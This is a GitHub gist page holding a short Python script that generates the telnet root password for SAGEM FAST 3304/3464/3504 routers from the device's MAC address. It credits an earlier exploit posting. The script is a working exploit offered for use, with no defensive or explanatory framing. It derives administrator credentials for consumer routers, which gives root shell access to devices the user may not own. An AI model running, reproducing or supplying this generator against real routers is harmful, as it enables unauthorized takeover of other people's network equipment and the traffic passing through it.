Created
January 8, 2015 12:16
-
-
Save dev-zzo/d770cc87521d8cb84f6a to your computer and use it in GitHub Desktop.
SAGEM ROUTER FAST 3304/3464/3504 - telnet root password generator
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
SAGEM ROUTER FAST 3304/3464/3504 - telnet root password generator. | |
Work based on: http://1337day.com/exploit/16687 | |
""" | |
import sys | |
def mash(a,b): | |
if a > b: | |
b, a = a, b | |
aa = int(a, 16) | |
bb = int(b, 16) | |
if bb < 10: | |
if aa + bb <= 9: | |
return chr(ord(a) + bb) | |
else: | |
# FIXED: original code: | |
# hex(ord(first)+int(second,16)) | |
# doesn't seem to produce correct characters | |
return hex(aa + bb)[2:] | |
else: | |
return chr(ord(b) + aa) | |
mac = sys.argv[1] | |
mac = mac.translate(None, ':- ').lower() | |
print 'MAC: ' + mac | |
password = [] | |
password.append(mash(mac[5], mac[11])) | |
password.append(mash(mac[0], mac[2])) | |
password.append(mash(mac[10],mac[11])) | |
password.append(mash(mac[0], mac[9])) | |
password.append(mash(mac[10],mac[6])) | |
password.append(mash(mac[3], mac[9])) | |
password.append(mash(mac[1], mac[6])) | |
password.append(mash(mac[3], mac[4])) | |
password = "".join(password) | |
print 'Password: ' + password |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment